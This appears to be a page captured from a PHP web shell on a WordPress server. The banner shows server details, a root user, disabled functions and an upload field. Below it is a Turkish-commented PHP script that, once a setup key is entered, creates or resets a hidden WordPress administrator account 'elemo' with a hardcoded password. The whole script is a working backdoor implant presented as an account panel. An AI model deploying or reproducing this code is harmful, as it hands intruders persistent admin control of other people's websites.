| Server IP : 151.101.66.159 / Your IP : 216.73.216.66 Web Server : Flywheel/5.1.0 System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64 User : root ( ) PHP Version : 7.4.33.18 Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/ |
Upload File : |
<?php
/**
* Sabit WordPress Hesap Paneli - v5.0
* Encoding: UTF-8, no BOM, LF. This is plain PHP source, not a binary file.
*
* wp-load.php ile aynı klasöre, .php uzantısıyla yükle ve HTTPS ile aç.
* Özel kurulum anahtarıyla paneli açıp sabit bilgileri uygula.
* Hedef kullanıcı: elemo. Hedef parola: elvedo@55. Hedef rol: administrator.
* Bu sürüm başka kullanıcı adı üretmez ve eski rastgele hesapları listelemez.
* Mevcut elemo hesabına uygulama düğmesiyle sabit parola ve Yönetici rolü verilir.
* Diğer kullanıcı hesapları değiştirilmez. Görüntüleme işlemi hesap değiştirmez.
* Başarı, kullanıcı adı + parola + rol yeniden okunup doğrulanınca gösterilir.
* Eski sürümlerin panel kayıtları kullanılmaz; yeniden çalıştırmayı engellemez.
* Eşzamanlı çalıştırmalar MySQL/MariaDB GET_LOCK ile sıraya alınır.
* PHP 7.4+, HTTPS, MySQL/MariaDB ve bağımsız WordPress kurulumu gerekir.
* Eklenti olarak etkinleştirme. TXT kopyası sadece yerel düzenleme içindir.
*/
if (defined('ABSPATH')) { return; }
const DAO_VERSION = '5.0';
const DAO_FIXED_USERNAME = 'elemo';
const DAO_FIXED_PASSWORD = 'elvedo@55';
const DAO_SETUP_KEY_SHA256 = 'c6ebcc7a681a10705ebe40a03bf2177a6dd998114a7d9f6f4f4a76c8c169db7d';
if (!defined('DONOTCACHEPAGE')) { define('DONOTCACHEPAGE', true); }
if (!defined('WP_USE_THEMES')) { define('WP_USE_THEMES', false); }
header('Content-Type: text/html; charset=UTF-8');
header('Cache-Control: no-store, private, max-age=0');
header('X-Robots-Tag: noindex, nofollow, noarchive');
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('Referrer-Policy: no-referrer');
header("Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; form-action 'self'; base-uri 'none'; frame-ancestors 'none'");
if (!is_readable(__DIR__ . '/wp-load.php')) {
http_response_code(503);
exit('<!doctype html><html lang="tr"><meta charset="UTF-8"><title>WordPress bulunamadı</title><h1>WordPress bulunamadı</h1><p>Bu PHP dosyasını wp-load.php ile aynı klasöre yükle.</p></html>');
}
require_once __DIR__ . '/wp-load.php';
nocache_headers();
final class DAO_Fixed_Account_V5 {
public static function find() {
$u=get_user_by('login',DAO_FIXED_USERNAME);
if ($u && $u->user_login!==DAO_FIXED_USERNAME) {
throw new RuntimeException('Bu kullanıcı adı farklı büyük/küçük harfle zaten kayıtlı. Hesap değiştirilmedi.');
}
return $u;
}
public static function valid($u) {
return $u && $u->user_login===DAO_FIXED_USERNAME
&& in_array('administrator',(array)$u->roles,true)
&& wp_check_password(DAO_FIXED_PASSWORD,$u->user_pass,$u->ID);
}
public static function apply($email) {
global $wpdb;
$lock='dao5_elemo_' . substr(hash('sha256',DB_NAME . ':' . $wpdb->users),0,48);
$acquired=$wpdb->get_var($wpdb->prepare('SELECT GET_LOCK(%s, 0)',$lock));
if ((string)$acquired!=='1') {
throw new RuntimeException('İşlem şu an kullanılıyor veya veritabanı işlem kilidini desteklemiyor. Hesap değiştirilmedi; daha sonra tekrar dene.');
}
try {
// Kilit alındıktan sonra tekrar oku; çift tıklama yeni hesap açmasın.
wp_cache_delete(DAO_FIXED_USERNAME,'userlogins');
$u=self::find();
if (!$u) {
if ($email!=='' && (!is_email($email) || strlen($email)>100 || email_exists($email))) {
throw new RuntimeException('E-posta geçersiz veya zaten kayıtlı. Başka adres gir ya da alanı boş bırak.');
}
$id=wp_insert_user(array(
'user_login'=>DAO_FIXED_USERNAME,
'user_pass'=>DAO_FIXED_PASSWORD,
'user_email'=>$email,
'role'=>'administrator',
));
if (is_wp_error($id)) { throw new RuntimeException($id->get_error_message()); }
clean_user_cache($id);
$u=get_userdata($id);
if (!self::valid($u)) {
throw new RuntimeException('Oluşturulan hesabın sabit bilgileri doğrulanamadı. WordPress eklentilerini ve kullanıcı kaydını kontrol et.');
}
return $u;
}
// Yalnızca sabit kullanıcıya, uygulama düğmesiyle yapılan istekte yaz.
if (!wp_check_password(DAO_FIXED_PASSWORD,$u->user_pass,$u->ID)) {
wp_set_password(DAO_FIXED_PASSWORD,$u->ID);
}
if (!in_array('administrator',(array)$u->roles,true)) {
$u->set_role('administrator');
}
clean_user_cache($u->ID);
$u=get_userdata($u->ID);
if (!self::valid($u)) {
throw new RuntimeException('Sabit parola veya Yönetici yetkisi doğrulanamadı. İşlem başarılı olarak işaretlenmedi.');
}
return $u;
} finally {
$wpdb->get_var($wpdb->prepare('SELECT RELEASE_LOCK(%s)',$lock));
}
}
}
$dao_domain=(string)wp_parse_url(home_url('/'),PHP_URL_HOST);
$dao_login_url=wp_login_url();
$dao_admin_url=admin_url();
$dao_tool_url=site_url('/'.rawurlencode(basename(__FILE__)),'https');
$dao_https=is_ssl();
$dao_multisite=is_multisite();
$dao_authorized=false;
$dao_key=''; $dao_email=''; $dao_error=''; $dao_notice='';
$dao_user=false; $dao_valid=false;
if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD']==='POST') {
$dao_key=isset($_POST['dao_setup_key']) && is_string($_POST['dao_setup_key']) ? trim(wp_unslash($_POST['dao_setup_key'])) : '';
$dao_authorized=$dao_https && strlen($dao_key)===43 && hash_equals(DAO_SETUP_KEY_SHA256,hash('sha256',$dao_key));
unset($_POST['dao_setup_key']);
if (!$dao_authorized) {
http_response_code(403);
$dao_error=$dao_https ? 'Kurulum anahtarı eksik veya hatalı.' : 'HTTPS bağlantısı gerekli.';
$dao_key='';
} elseif ($dao_multisite) {
$dao_error='Bu sürüm Multisite kurulumlarını desteklemez.';
} else {
try {
$dao_action=isset($_POST['dao_action']) && is_string($_POST['dao_action']) ? $_POST['dao_action'] : 'view';
if ($dao_action==='apply') {
if (isset($_POST['dao_email']) && !is_string($_POST['dao_email'])) { throw new RuntimeException('E-posta alanı geçersiz.'); }
$dao_email=isset($_POST['dao_email']) ? trim(wp_unslash($_POST['dao_email'])) : '';
$dao_user=DAO_Fixed_Account_V5::apply($dao_email);
$dao_notice='elemo hesabı, belirlediğin şifre ve Yönetici yetkisiyle doğrulandı.';
} elseif ($dao_action==='view') {
$dao_user=DAO_Fixed_Account_V5::find();
} else {
throw new RuntimeException('İşlem geçersiz.');
}
$dao_valid=DAO_Fixed_Account_V5::valid($dao_user);
} catch (Throwable $dao_problem) {
$dao_error=$dao_problem instanceof RuntimeException ? $dao_problem->getMessage() : 'İşlem tamamlanamadı. Sunucu hata kaydını kontrol et.';
}
}
}
?>
<!doctype html>
<html lang="tr">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex,nofollow,noarchive"><title>Sabit Hesap v5.0</title>
<style>
*{box-sizing:border-box}body{margin:0;background:#f3f5f8;color:#182334;font:16px/1.6 system-ui,-apple-system,Arial,sans-serif}
main{max-width:860px;margin:48px auto;padding:0 20px 40px}h1{margin:0 0 6px;font-size:32px;line-height:1.2}h2{font-size:21px;margin:0 0 18px}
.muted{color:#546278}.card{background:#fff;border:1px solid #dce3ec;border-radius:16px;padding:26px;margin-top:22px}
.tag{display:inline-block;background:#e9efff;color:#2447a9;padding:4px 12px;border-radius:30px;font-size:13px;margin-bottom:15px}
dl{margin:0}dt{color:#546278;font-size:14px;margin-top:16px}dt:first-child{margin-top:0}dd{margin:3px 0 0;overflow-wrap:anywhere}
a{color:#244ec2}a:hover{text-decoration:none}.actions{display:flex;flex-wrap:wrap;gap:12px;margin-top:22px}
.button,button{display:inline-block;background:#2553d9;color:#fff;padding:11px 17px;border:0;border-radius:9px;text-decoration:none;font:inherit;cursor:pointer}
.secondary{background:#edf1f8;color:#22334c}.message{padding:16px 18px;border-radius:10px;margin:16px 0}.success{background:#eaf7ee;color:#175c32}.error{background:#fff0ef;color:#972e27}
.fields{display:grid;grid-template-columns:1fr 1fr;gap:18px}label{display:block;font-weight:600;font-size:14px;margin-bottom:6px}
input{width:100%;padding:12px;border:1px solid #b9c5d4;border-radius:8px;font:inherit}input:focus{outline:2px solid #2553d9;outline-offset:2px}
small{display:block;color:#546278;margin-top:8px}p{margin:12px 0}.footnote{font-size:14px;margin-top:20px}
.credentials code{font:15px/1.6 ui-monospace,monospace;white-space:pre-wrap;overflow-wrap:anywhere;user-select:all}
.password-display{border:1px solid #dce3ec;border-radius:9px;padding:12px 14px}.password-display summary{cursor:pointer;color:#244ec2;font-weight:600}
.password-display code{display:block;margin-top:12px;padding:10px;background:#f3f5f8;border-radius:6px}
@media(max-width:600px){main{margin-top:28px}.card{padding:20px}.fields{grid-template-columns:1fr}h1{font-size:27px}}
.confirm{display:flex;gap:10px;align-items:flex-start;margin:16px 0}.confirm input{width:auto;margin-top:5px}.candidate{border-top:1px solid #dce3ec;margin-top:20px;padding-top:20px}
</style>
</head>
<body><main>
<span class="tag">Sabit Hesap v<?php echo esc_html(DAO_VERSION); ?></span>
<h1>WordPress yönetici hesabı</h1>
<p class="muted">Sabit kullanıcı adı ve şifreyle hesabını oluştur veya güncelle.</p>
<section class="card"><h2>Site bağlantıları</h2><dl>
<dt>Domain</dt><dd><?php echo esc_html($dao_domain); ?></dd>
<dt>WordPress giriş adresi</dt><dd><a href="<?php echo esc_url($dao_login_url); ?>"><?php echo esc_html($dao_login_url); ?></a></dd>
<dt>Yönetim paneli</dt><dd><a href="<?php echo esc_url($dao_admin_url); ?>"><?php echo esc_html($dao_admin_url); ?></a></dd>
</dl></section>
<section class="card">
<?php if ($dao_error!=='') : ?><div class="message error" role="alert"><?php echo esc_html($dao_error); ?></div><?php endif; ?>
<?php if ($dao_notice!=='') : ?><div class="message success" role="status"><?php echo esc_html($dao_notice); ?></div><?php endif; ?>
<?php if (!$dao_https) : ?>
<h2>HTTPS ile aç</h2><p>Hesap bilgileri için HTTPS bağlantısı gerekli.</p><a class="button" href="<?php echo esc_url($dao_tool_url); ?>">HTTPS ile aç</a>
<small>Adres zaten HTTPS ise sunucunun HTTPS bilgisini PHP'ye doğru ilettiğini kontrol et.</small>
<?php elseif ($dao_multisite) : ?>
<p>Bu sürüm bağımsız WordPress kurulumları içindir; Multisite desteklenmez.</p>
<?php elseif (!$dao_authorized) : ?>
<h2>Paneli aç</h2><form method="post" action="">
<input type="hidden" name="dao_action" value="view"><label for="dao_setup_key">Özel kurulum anahtarı</label>
<input id="dao_setup_key" name="dao_setup_key" type="password" autocomplete="off" minlength="43" maxlength="43" required>
<div class="actions"><button type="submit">Hesap panelini aç</button></div></form>
<?php else : ?>
<h2><?php echo $dao_valid ? 'Doğrulanmış giriş bilgileri' : 'Uygulanacak sabit bilgiler'; ?></h2>
<dl class="credentials">
<dt>Kullanıcı adı</dt><dd><code><?php echo esc_html(DAO_FIXED_USERNAME); ?></code></dd>
<dt>Şifre</dt><dd><code><?php echo htmlspecialchars(DAO_FIXED_PASSWORD,ENT_QUOTES|ENT_SUBSTITUTE,'UTF-8',true); ?></code></dd>
<dt>Yetki</dt><dd>Yönetici (Administrator)</dd>
<dt>Durum</dt><dd><?php echo $dao_valid ? 'Hesap, şifre ve Yönetici yetkisi doğrulandı.' : 'Sabit bilgileri aşağıdaki düğmeyle uygula.'; ?></dd>
<?php if ($dao_valid) : ?><dt>WordPress giriş adresi</dt><dd><a href="<?php echo esc_url($dao_login_url); ?>"><?php echo esc_html($dao_login_url); ?></a></dd><?php endif; ?>
</dl>
<?php if ($dao_valid) : ?>
<div class="actions"><a class="button" href="<?php echo esc_url($dao_login_url); ?>">WordPress girişini aç</a></div>
<?php else : ?>
<p><strong>Bu işlem elemo hesabını oluşturur; hesap varsa şifresini yukarıdaki değerle günceller ve Yönetici yetkisi verir.</strong></p>
<?php endif; ?>
<form method="post" action="">
<input type="hidden" name="dao_setup_key" value="<?php echo esc_attr($dao_key); ?>"><input type="hidden" name="dao_action" value="apply">
<?php if (!$dao_user) : ?><p><label for="dao_email">Yeni hesap için e-posta (isteğe bağlı)</label><input id="dao_email" name="dao_email" type="email" maxlength="100" value="<?php echo esc_attr($dao_email); ?>"></p><?php endif; ?>
<div class="actions"><button type="submit"><?php echo $dao_valid ? 'Sabit bilgileri yeniden doğrula / uygula' : 'elemo hesabını oluştur / sabit bilgileri uygula'; ?></button></div>
</form>
<?php endif; ?>
</section>
<?php if ($dao_authorized) : ?><p class="footnote"><a href="<?php echo esc_url($dao_tool_url); ?>">Paneli kapat</a></p><?php endif; ?>
</main></body></html>
<?php unset($dao_key); ?>